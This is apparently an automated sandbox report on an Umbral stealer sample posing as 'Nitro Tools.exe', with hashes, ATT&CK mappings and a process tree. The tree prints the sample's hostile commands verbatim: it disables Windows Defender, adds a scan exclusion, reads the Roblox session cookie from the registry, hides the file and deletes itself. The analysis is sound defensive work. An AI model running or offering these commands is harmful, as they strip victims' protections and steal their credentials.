umbral | 4adaffe46ccae1425c54b81f87fcb56b7f66760b5d5f0ae3328e72c934bbb3c8

Analysis

max time kernel
91s
max time network
17s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
05/09/2024, 15:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Nitro Tools.exe
Size

231KB
MD5

eb9bfe2cafae0e84d30f9e214ec4a6aa
SHA1

fabd92cb405e06b720a88d0077b124fb97577208
SHA256

e88819618a14114c00385b9729bd83567ab21a5547baa8923477bd2c54434369
SHA512

8358eddbb14c88a5ff8859a1c0339f7d0380c8a91510b5daa0e6a3a6dcd15b3967496caef46d10e5f1ba6e7d60c65077022815fa16fc7f0fc542b17007e2a0fa
SSDEEP

6144:RloZM3fsXtioRkts/cnnK6cMl1l0W6YXzQgp8aLLyJcS8e1mKLi:joZ1tlRk83Ml1l0W6YXzQgp8aLLy5rG

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2296-1-0x0000000001300000-0x0000000001340000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3028	powershell.exe
2708	powershell.exe
1912	powershell.exe
944	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Nitro Tools.exe

Deletes itself 1 IoCs

pid	Process
2192	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2192	cmd.exe
2140	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2332	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2140	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2296	Nitro Tools.exe
3028	powershell.exe
2708	powershell.exe
1912	powershell.exe
2488	powershell.exe
944	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2296	Nitro Tools.exe
Token: SeIncreaseQuotaPrivilege	2792	wmic.exe
Token: SeSecurityPrivilege	2792	wmic.exe
Token: SeTakeOwnershipPrivilege	2792	wmic.exe
Token: SeLoadDriverPrivilege	2792	wmic.exe
Token: SeSystemProfilePrivilege	2792	wmic.exe
Token: SeSystemtimePrivilege	2792	wmic.exe
Token: SeProfSingleProcessPrivilege	2792	wmic.exe
Token: SeIncBasePriorityPrivilege	2792	wmic.exe
Token: SeCreatePagefilePrivilege	2792	wmic.exe
Token: SeBackupPrivilege	2792	wmic.exe
Token: SeRestorePrivilege	2792	wmic.exe
Token: SeShutdownPrivilege	2792	wmic.exe
Token: SeDebugPrivilege	2792	wmic.exe
Token: SeSystemEnvironmentPrivilege	2792	wmic.exe
Token: SeRemoteShutdownPrivilege	2792	wmic.exe
Token: SeUndockPrivilege	2792	wmic.exe
Token: SeManageVolumePrivilege	2792	wmic.exe
Token: 33	2792	wmic.exe
Token: 34	2792	wmic.exe
Token: 35	2792	wmic.exe
Token: SeIncreaseQuotaPrivilege	2792	wmic.exe
Token: SeSecurityPrivilege	2792	wmic.exe
Token: SeTakeOwnershipPrivilege	2792	wmic.exe
Token: SeLoadDriverPrivilege	2792	wmic.exe
Token: SeSystemProfilePrivilege	2792	wmic.exe
Token: SeSystemtimePrivilege	2792	wmic.exe
Token: SeProfSingleProcessPrivilege	2792	wmic.exe
Token: SeIncBasePriorityPrivilege	2792	wmic.exe
Token: SeCreatePagefilePrivilege	2792	wmic.exe
Token: SeBackupPrivilege	2792	wmic.exe
Token: SeRestorePrivilege	2792	wmic.exe
Token: SeShutdownPrivilege	2792	wmic.exe
Token: SeDebugPrivilege	2792	wmic.exe
Token: SeSystemEnvironmentPrivilege	2792	wmic.exe
Token: SeRemoteShutdownPrivilege	2792	wmic.exe
Token: SeUndockPrivilege	2792	wmic.exe
Token: SeManageVolumePrivilege	2792	wmic.exe
Token: 33	2792	wmic.exe
Token: 34	2792	wmic.exe
Token: 35	2792	wmic.exe
Token: SeDebugPrivilege	3028	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeIncreaseQuotaPrivilege	2092	wmic.exe
Token: SeSecurityPrivilege	2092	wmic.exe
Token: SeTakeOwnershipPrivilege	2092	wmic.exe
Token: SeLoadDriverPrivilege	2092	wmic.exe
Token: SeSystemProfilePrivilege	2092	wmic.exe
Token: SeSystemtimePrivilege	2092	wmic.exe
Token: SeProfSingleProcessPrivilege	2092	wmic.exe
Token: SeIncBasePriorityPrivilege	2092	wmic.exe
Token: SeCreatePagefilePrivilege	2092	wmic.exe
Token: SeBackupPrivilege	2092	wmic.exe
Token: SeRestorePrivilege	2092	wmic.exe
Token: SeShutdownPrivilege	2092	wmic.exe
Token: SeDebugPrivilege	2092	wmic.exe
Token: SeSystemEnvironmentPrivilege	2092	wmic.exe
Token: SeRemoteShutdownPrivilege	2092	wmic.exe
Token: SeUndockPrivilege	2092	wmic.exe
Token: SeManageVolumePrivilege	2092	wmic.exe
Token: 33	2092	wmic.exe
Token: 34	2092	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2296 wrote to memory of 2792	2296	Nitro Tools.exe	30
PID 2296 wrote to memory of 2792	2296	Nitro Tools.exe	30
PID 2296 wrote to memory of 2792	2296	Nitro Tools.exe	30
PID 2296 wrote to memory of 2796	2296	Nitro Tools.exe	33
PID 2296 wrote to memory of 2796	2296	Nitro Tools.exe	33
PID 2296 wrote to memory of 2796	2296	Nitro Tools.exe	33
PID 2296 wrote to memory of 3028	2296	Nitro Tools.exe	35
PID 2296 wrote to memory of 3028	2296	Nitro Tools.exe	35
PID 2296 wrote to memory of 3028	2296	Nitro Tools.exe	35
PID 2296 wrote to memory of 2708	2296	Nitro Tools.exe	37
PID 2296 wrote to memory of 2708	2296	Nitro Tools.exe	37
PID 2296 wrote to memory of 2708	2296	Nitro Tools.exe	37
PID 2296 wrote to memory of 1912	2296	Nitro Tools.exe	39
PID 2296 wrote to memory of 1912	2296	Nitro Tools.exe	39
PID 2296 wrote to memory of 1912	2296	Nitro Tools.exe	39
PID 2296 wrote to memory of 2488	2296	Nitro Tools.exe	41
PID 2296 wrote to memory of 2488	2296	Nitro Tools.exe	41
PID 2296 wrote to memory of 2488	2296	Nitro Tools.exe	41
PID 2296 wrote to memory of 2092	2296	Nitro Tools.exe	43
PID 2296 wrote to memory of 2092	2296	Nitro Tools.exe	43
PID 2296 wrote to memory of 2092	2296	Nitro Tools.exe	43
PID 2296 wrote to memory of 2236	2296	Nitro Tools.exe	45
PID 2296 wrote to memory of 2236	2296	Nitro Tools.exe	45
PID 2296 wrote to memory of 2236	2296	Nitro Tools.exe	45
PID 2296 wrote to memory of 2372	2296	Nitro Tools.exe	47
PID 2296 wrote to memory of 2372	2296	Nitro Tools.exe	47
PID 2296 wrote to memory of 2372	2296	Nitro Tools.exe	47
PID 2296 wrote to memory of 944	2296	Nitro Tools.exe	49
PID 2296 wrote to memory of 944	2296	Nitro Tools.exe	49
PID 2296 wrote to memory of 944	2296	Nitro Tools.exe	49
PID 2296 wrote to memory of 2332	2296	Nitro Tools.exe	51
PID 2296 wrote to memory of 2332	2296	Nitro Tools.exe	51
PID 2296 wrote to memory of 2332	2296	Nitro Tools.exe	51
PID 2296 wrote to memory of 2192	2296	Nitro Tools.exe	53
PID 2296 wrote to memory of 2192	2296	Nitro Tools.exe	53
PID 2296 wrote to memory of 2192	2296	Nitro Tools.exe	53
PID 2192 wrote to memory of 2140	2192	cmd.exe	55
PID 2192 wrote to memory of 2140	2192	cmd.exe	55
PID 2192 wrote to memory of 2140	2192	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2796	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Nitro Tools.exe
"C:\Users\Admin\AppData\Local\Temp\Nitro Tools.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Nitro Tools.exe"
  2⤵
  - Views/modifies file attributes
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nitro Tools.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2092
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2236
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:944
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2332
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Nitro Tools.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3X30QHINP97G3N4I3Z1M.temp

Filesize
7KB

MD5
85bb2cdacc05c7721dca7f4a72fbe3d8

SHA1
891a1cec75d55feccb4d6e3dcaab6ca853da21a5

SHA256
816700639692ac492bae7f3edae35aec0328b0eed905f86fd12923d3a0894bf8

SHA512
86aec4cc240b3c7adfe9612f5e71dcde2aae94132a1adba8f72d29d0733b4b80684ee8c03474f2ef3fe81c07151e27e717f5f2faaa266a35eabbb3802cc6e44d

Download Submit
memory/944-44-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/944-43-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/2296-1-0x0000000001300000-0x0000000001340000-memory.dmp

Filesize
256KB

Download
memory/2296-2-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2296-50-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2296-47-0x000007FEF5AF0000-0x000007FEF64DC000-memory.dmp

Filesize
9.9MB

Download
memory/2296-0-0x000007FEF5AF3000-0x000007FEF5AF4000-memory.dmp

Filesize
4KB

Download
memory/2296-46-0x000007FEF5AF3000-0x000007FEF5AF4000-memory.dmp

Filesize
4KB

Download
memory/2708-14-0x000000001B840000-0x000000001BB22000-memory.dmp

Filesize
2.9MB

Download
memory/2708-15-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/3028-8-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download
memory/3028-7-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download